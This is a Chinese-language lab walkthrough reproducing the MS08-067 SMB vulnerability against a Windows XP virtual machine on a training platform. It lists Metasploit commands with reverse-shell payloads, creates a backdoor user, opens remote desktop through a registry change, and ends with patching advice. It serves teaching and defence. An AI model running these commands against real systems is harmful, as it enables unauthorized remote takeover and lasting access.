前言
大家好,本章节我将复现MS08-067这个曾经很牛叉的漏洞,也欢迎各位大佬来捧场。
MS08-067的概述
MS08-067漏洞全称是“Windows Server服务RPC请求缓冲区溢出漏洞”,攻击者利用受害者主机默认开放的SMB服务端口445,发送特殊RPC(Remote Procedure Call,远程过程调用)请求,造成栈缓冲区内存错误,从而被利用实施远程代码执行。
原理
MS08-067漏洞是通过MSRPC over SMB通道调用Server程序中的NEtPathCanonicalize函数时触发的。NetPathCanonicalize函数在远程访问其他主机时,会调用NetpwPathCanonicalize函数,对远程访问的路径进行规范化,而在NetpwPathCanonicalize函数中发生了栈缓冲区内存错误(溢出),造成可被利用实施远程代码执行(Remote Code Execution)。
当用户在受影响的系统上收到RPC请求时,该漏洞会允许远程执行代码,攻击者可以在未经身份验证情况下利用此漏洞运行任意代码。同时,该漏洞可以用于蠕虫攻击。
复现平台
==================
中科磐云P9
==================
网络拓扑
任务环境说明:
服务器场景:p9_kali-7(用户名:root;密码:toor)
服务器场景操作系统:Kali Linux 192.168.1.102
==============================================
服务器场景:p9_xp-6(用户名:admin;密码:123456)
服务器场景操作系统:Microsoft Windows XP 192.168.1.106
打开网络拓扑,点击启动选项,启动实验虚拟机
复现过程
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
信息收集阶段
已知靶机服务器的IP地址,确认存活状态,先对其进行初步扫描:
使用nmap扫描工具来对服务器进行一个扫描,着重验证靶机服务器是否存在MS08-067这个漏洞是否存在:
调用nmap常用漏洞扫描脚本中的MS08-067脚本对其进行扫描验证
nmap -O -n -T4 -p445 --script=vuln ms08-067 192.168.1.106
标白的地方为关键验证点,初步确认靶机服务器存在的可能性提高,现对其进行进一步的验证。
启动MSF渗透测试框架
msfconsole
调用相关的模块: exploit/windows/smb/ms08_067_netapi
use exploit/windows/smb/ms08_067_netapi
或
search ms08-067
use 0
查看必要参数
show options
看到必须设置目标地址,我设置一下:
set rhosts 192.168.1.106
然后这里的payload默认加载的是后渗透控制台shell,我们有两个选择,一个是保持默认,默认进入后渗透控制台,还有一个是直接进入靶机服务器系统的shell。我们先调用直接进入靶机服务器系统的shell,同时把两个payload的利用命令放在下方,大家可以按需使用:
set payload windows/shell/reverse_tcp ##直接进入靶机服务器系统shell
set payload windows/meterpreter/reverse_tcp ##进入后渗透控制台shell
可以在设置各种参数时按几下tab键,可以显示该模块的所有可设置参数:
例:
这里我调用的是windows/shell/reverse_tcp载荷:
如果没有设置监听地址的话,可以额外设置一下:
set lhost 192.168.1.102
使用show targets命令来显示漏洞溢出模块exploit所支持的目标类型(操作系统、软件版本等)
可选target 0(自动)或自己选择:
show targets
本次实验我们将目标操作系统编号设置为34
我们调用它:
set target 34
使用命令check来检测目标靶机是否该漏洞:
check
攻击阶段
使用命令exploit执行溢出攻击模块,成功进入靶机服务器shell
exploit
进入后,查看靶机服务器端口的开放情况:
netstat -an
后渗透阶段
现在创建后门用户,尝试登录靶机系统的桌面:
教案的传统方法:
这里不多赘述直接展示过程:
后门用户创建完成,现在开启3389端口:
使用命令 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f 开启3389端口:
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
成功进入靶机服务器桌面
我个人的渗透思路:
前面的思路不变,更换攻击载荷为windows/meterpreter/reverse_tcp模块
set payload windws/meterpreter/reverse_tcp
照样验证后攻击:
攻击成功,进入后渗透阶段,创建后门用户,
调用enable_rdp模块,开启3389远程桌面的端口和服务,连接远程桌面:
run post/windows/manage/enable_rdp
成功,连接靶机服务器远程桌面:
rdesktop 192.168.1.106
成功进入。
加固建议
首先就是系统更新
大多数客户均启用了“自动更新”,他们不必采取任何操作,因为此安全更新将自动下载并安装。尚未启用“自动更新”的客户必须检查更新,并手动安装此更新。有关自动更新中特定配置选项的信息,对于管理员、企业安装或者想要手动安装此安全更新的最终用户,Microsoft 建议客户使用更新管理软件立即应用此更新或者利用 Microsoft Update 服务检查更新。
在受影响的软件中,找到自己的操作系统,点击进去就能下载相应的补丁安装包,格式是,本次实验中使用的系统版本为Windwos XP SP3
用于基于 x64 的系统的 Windows Vista 安全更新程序(KB958644)
这里附上其他系统版本的补丁包下载链接:
=========================================================================
Windows Vista 安全更新程序 (KB958644)
http://download.microsoft.com/download/d/c/0/dc047ab9-53f8-481c-8c46-528b7f493fc1/Windows6.0-KB958644-x86.msu
Windows Server 2008 x64 Edition 安全更新程序 (KB958644)
http://download.microsoft.com/download/0/f/4/0f425c69-4a1f-4654-b4f8-476a5b1bae1d/Windows6.0-KB958644-x64.msu
Windows Server 2003 x64 Edition 安全更新程序 (KB958644)
http://download.microsoft.com/download/9/8/e/98eff1c8-f2e2-43a4-abf7-7fb0315a09f7/WindowsServer2003.WindowsXP-KB958644-x64-CHS.exe
Windows Server 2003 安全更新程序 (KB958644)
http://download.microsoft.com/download/8/4/4/84403755-aa0a-41ba-bded-7cbbc8dc218c/WindowsServer2003-KB958644-x86-CHS.exe
Windows Server 2008 安全更新程序 (KB958644)
http://download.microsoft.com/download/4/9/8/498e39f6-9f49-4ca5-99dd-761456da0012/Windows6.0-KB958644-x86.msu
Windows 2000 安全更新程序 (KB958644)
http://download.microsoft.com/download/4/9/7/49751d3a-e93b-48fb-95de-2a229e602004/Windows2000-KB958644-x86-CHS.EXE
用于基于 x64 的系统的 Windows Vista 安全更新程序(KB958644)
http://download.microsoft.com/download/1/5/0/15089485-0e8b-41f9-8617-58e8cdda8c7e/Windows6.0-KB958644-x64.msu
Windows XP 安全更新程序 (KB958644)
http://download.microsoft.com/download/a/5/f/a5fcaabe-ff81-4d4f-972e-865bdc60dcbf/WindowsXP-KB958644-x86-CHS.exe
英文操作系统KB958644补丁下载地址:
Security Update for Windows 2000 (KB958644)
http://download.microsoft.com/download/4/a/3/4a36c1ea-7555-4a88-98ac-b0909cc83c18/Windows2000-KB958644-x86-ENU.EXE
Security Update for Windows Server 2003 x64 Edition (KB958644)
http://download.microsoft.com/download/f/7/6/f761e8ee-caad-4528-aa47-ed5d744be523/WindowsServer2003.WindowsXP-KB958644-x64-ENU.exe
Security Update for Windows 7 Pre-Beta for Itanium-based Systems (KB958644)
http://download.microsoft.com/download/f/6/3/f639c726-86bb-4f3a-a783-5e03fc665af4/Windows6.1-KB958644-ia64.msu
Security Update for Windows XP x64 Edition (KB958644)
http://download.microsoft.com/download/5/8/1/5811b6cc-5884-4486-b05d-de69f0e94f67/WindowsServer2003.WindowsXP-KB958644-x64-ENU.exe
Security Update for Windows Vista (KB958644)
http://download.microsoft.com/download/d/c/0/dc047ab9-53f8-481c-8c46-528b7f493fc1/Windows6.0-KB958644-x86.msu
Security Update for Windows Server 2003 for Itanium-based Systems (KB958644)
http://download.microsoft.com/download/1/8/e/18efd717-b406-4a19-98d5-5ee80351bedf/WindowsServer2003-KB958644-ia64-ENU.exe
Security Update for Windows 7 Pre-Beta (KB958644)
http://download.microsoft.com/download/c/0/7/c07fca67-b0e2-4c9c-9c1f-9cde37131747/Windows6.1-KB958644-x86.msu
Security Update for Windows Server 2008 x64 Edition (KB958644)
http://download.microsoft.com/download/0/f/4/0f425c69-4a1f-4654-b4f8-476a5b1bae1d/Windows6.0-KB958644-x64.msu
Security Update for Windows 7 Pre-Beta x64 Edition (KB958644)
http://download.microsoft.com/download/d/4/6/d467b363-8825-4fa9-87fb-7cb4a9cedb56/Windows6.1-KB958644-x64.msu
Security Update for Windows XP (KB958644)
http://download.microsoft.com/download/4/f/a/4fabe08e-5358-418b-81dd-d5038730b324/WindowsXP-KB958644-x86-ENU.exe
Security Update for Windows Server 2008 for Itanium-based Systems (KB958644)
http://download.microsoft.com/download/8/b/c/8bc5a4e6-ba02-4bb9-947f-f253caeaa271/Windows6.0-KB958644-ia64.msu
Security Update for Windows Server 2003 (KB958644)
http://download.microsoft.com/download/e/e/3/ee322649-7f38-4553-a26b-a2ac40a0b205/WindowsServer2003-KB958644-x86-ENU.exe
Security Update for Windows Server 2008 (KB958644)
http://download.microsoft.com/download/4/9/8/498e39f6-9f49-4ca5-99dd-761456da0012/Windows6.0-KB958644-x86.msu
Security Update for Windows Vista for x64-based Systems (KB958644)
http://download.microsoft.com/download/1/5/0/15089485-0e8b-41f9-8617-58e8cdda8c7e/Windows6.0-KB958644-x64.msu
=========================================================================
选择自己系统的语言,点击Download进行下载,然后在靶机系统中安装此该补丁包
点击WindowsXP-KB958644-x86-CHS.exe来安装补丁,安装完成重启后,再次使用MSF模块验证,已经无法对目标靶机进行利用。
章末
本次复现了MS08-067的操作,有两套思路,传统思路适合老版本的kali和默认的操作,通过修改注册表来实现开启3389,我的个人思路操作快,使用模块一键开启3389,两套思路各有各的优点,大家可以酌情学习,也欢迎大佬们留言改进。